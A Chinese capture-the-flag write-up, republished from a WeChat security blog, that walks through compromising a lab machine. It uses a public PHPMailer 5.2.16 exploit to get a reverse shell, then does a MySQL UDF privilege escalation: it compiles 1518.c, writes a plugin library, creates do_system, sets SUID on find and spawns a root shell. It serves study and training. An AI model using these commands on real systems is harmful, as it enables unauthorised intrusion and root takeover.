一次比赛打靶 | 从GetShell到提权拿下

admin 2024年1月3日22:10:56评论26 views字数 2187阅读7分17秒阅读模式
一次比赛打靶 | 从GetShell到提权拿下
01
文章背景
    一次CTF赛中的靶机,后来发现是网上有的原环境~改了一点明显特征,一共有4个flag,简单记录。
02
操作开始
    访问页面,先来一发端口扫描
一次比赛打靶 | 从GetShell到提权拿下
端口扫描
    端口没发现啥有用的东西,基本无了:
一次比赛打靶 | 从GetShell到提权拿下
目录扫描
    接下来扫描一手目录,看看怎么个事:
一次比赛打靶 | 从GetShell到提权拿下
    通过访问发现存在目录遍历:
一次比赛打靶 | 从GetShell到提权拿下
    点点点,最后在其中一个路径中发现了flag1,还有一段是系统所在的绝对路径,:
一次比赛打靶 | 从GetShell到提权拿下
存在历史漏洞
    在另两个路径中发现一个叫 PHPMailer 的东西,版本为5.2.16:
一次比赛打靶 | 从GetShell到提权拿下
    通过搜索发现存在历史漏洞,可以GetShell:
一次比赛打靶 | 从GetShell到提权拿下
  打开ExploitDatabase,搜索是否存在利用脚本:
https://www.exploit-db.com/
    这个刚好在版本范围内,先试试这个:
一次比赛打靶 | 从GetShell到提权拿下
    打开Kali,搜索相关利用脚本:
searchsploit PHPMailer
一次比赛打靶 | 从GetShell到提权拿下
    先用这个python的,查看脚本所在路径:
searchsploit -p 40974.py 
一次比赛打靶 | 从GetShell到提权拿下
    将exp复制到当前路径,并修改:
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./vim 40974.py
一次比赛打靶 | 从GetShell到提权拿下
    根据历史漏洞得知,响应利用此漏洞需要利用到邮件发送功能文件,路径是:/contact.php,且系统所在的绝对路径在前面的目录遍历中我们已经得到了,将内容进行修改:
一次比赛打靶 | 从GetShell到提权拿下
    开启监听,等待shell反弹:
一次比赛打靶 | 从GetShell到提权拿下
    接下来运行脚本,看看怎么个事:
一次比赛打靶 | 从GetShell到提权拿下
    根据漏洞介绍,接下来需要先访问邮件页面,然后会生成对应的shell文件:
一次比赛打靶 | 从GetShell到提权拿下
一次比赛打靶 | 从GetShell到提权拿下
    好的shell已经弹回来了,执行命令看看:
一次比赛打靶 | 从GetShell到提权拿下
    先使用python切换到交互式Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
一次比赛打靶 | 从GetShell到提权拿下
    全局搜索flag关键字,看看有没有:
一次比赛打靶 | 从GetShell到提权拿下
    flag3是张图片,那我们直接访问URL:
一次比赛打靶 | 从GetShell到提权拿下
    flag2直接读取:
一次比赛打靶 | 从GetShell到提权拿下
    读取flag4:
一次比赛打靶 | 从GetShell到提权拿下
    我焯,没权限,得提权。
权限提升
    现在思路是什么呢?
    先看看数据库,刚刚其实会发现flag3的路径里有一个WordPress,说明服务器上搭建了个WordPress,找一下它的配置文件:
一次比赛打靶 | 从GetShell到提权拿下
    发现数据库账号密码:
一次比赛打靶 | 从GetShell到提权拿下
    尝试使用命令进行连接:
mysql -u root -pshow databases;
一次比赛打靶 | 从GetShell到提权拿下
    选择mysql数据库进行操作:
一次比赛打靶 | 从GetShell到提权拿下
    先查看权限是不是root:
一次比赛打靶 | 从GetShell到提权拿下
    再看看 secure_file_priv 是不是为空:
show global variables like 'secure%';
1、当 secure_file_priv 的值为 NULL,表示限制 mysqld 不允许导入|导出,此时无法提权;2、当 secure_file_priv 的值为 /tmp/,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权;3、当 secure_file_priv 的值为空时,表示不对 mysqld 的导入|导出做限制,此时可提权。
一次比赛打靶 | 从GetShell到提权拿下
    没毛病,最后看版本号是不是5.x,是的话可以用UDF提权:
一次比赛打靶 | 从GetShell到提权拿下
    搜索UDF提权相关脚本:
searchsploit mysql udf
一次比赛打靶 | 从GetShell到提权拿下
    查看脚本所在路径,并复制到当前目录:
searchsploit -p 1518.c cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
一次比赛打靶 | 从GetShell到提权拿下
    用于是C写的,所以需要编译,接下来使用GCC编译EXP:
gcc -g -c 1518.cgcc -g -shared -o xilizhu.so 1518.o -lc
-g 生成调试信息-c 编译(二进制)-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。-o:执行命令后的文件名-lc:-l 库 c库名
一次比赛打靶 | 从GetShell到提权拿下
    由于访问靶机环境需要连接VPN,只好先把编译好的EXP复制到物理机,然后在靶机使用命令远程下载:
一次比赛打靶 | 从GetShell到提权拿下
一次比赛打靶 | 从GetShell到提权拿下
    接下来,利用mysql进行提权:
#创建表create table xilizhu(line blob);
一次比赛打靶 | 从GetShell到提权拿下
#将xilizhu.so插入到表中insert into xilizhu values(load_file('/var/www/html/exp/xilizhu.so'));
一次比赛打靶 | 从GetShell到提权拿下
#将xilizhu.so使用dumpfile函数将原始数据导出select * from xilizhu into  dumpfile '/usr/lib/mysql/plugin/xilizhu.so';
一次比赛打靶 | 从GetShell到提权拿下
#创建自定义函数do_system,类型是integer,并设置别名create function do_system returns integer soname 'xilizhu.so';
一次比赛打靶 | 从GetShell到提权拿下
#查看函数是否成功创建select * from mysql.func;
一次比赛打靶 | 从GetShell到提权拿下
#调用do_system函数来给find命令所有者的suid权限,使其可执行root命令 select do_system('chmod u+s /usr/bin/find');
一次比赛打靶 | 从GetShell到提权拿下
    然后尝试执行命令,看是否成功:
find / -exec "/bin/sh" ;
一次比赛打靶 | 从GetShell到提权拿下
    奈斯,提到root了,直接读flag4:
一次比赛打靶 | 从GetShell到提权拿下
一次比赛打靶 | 从GetShell到提权拿下
(
END
)
 

原文始发于微信公众号(犀利猪安全):一次比赛打靶 | 从GetShell到提权拿下

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日22:10:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次比赛打靶 | 从GetShell到提权拿下https://cn-sec.com/archives/2360933.html

发表评论

匿名网友 填写信息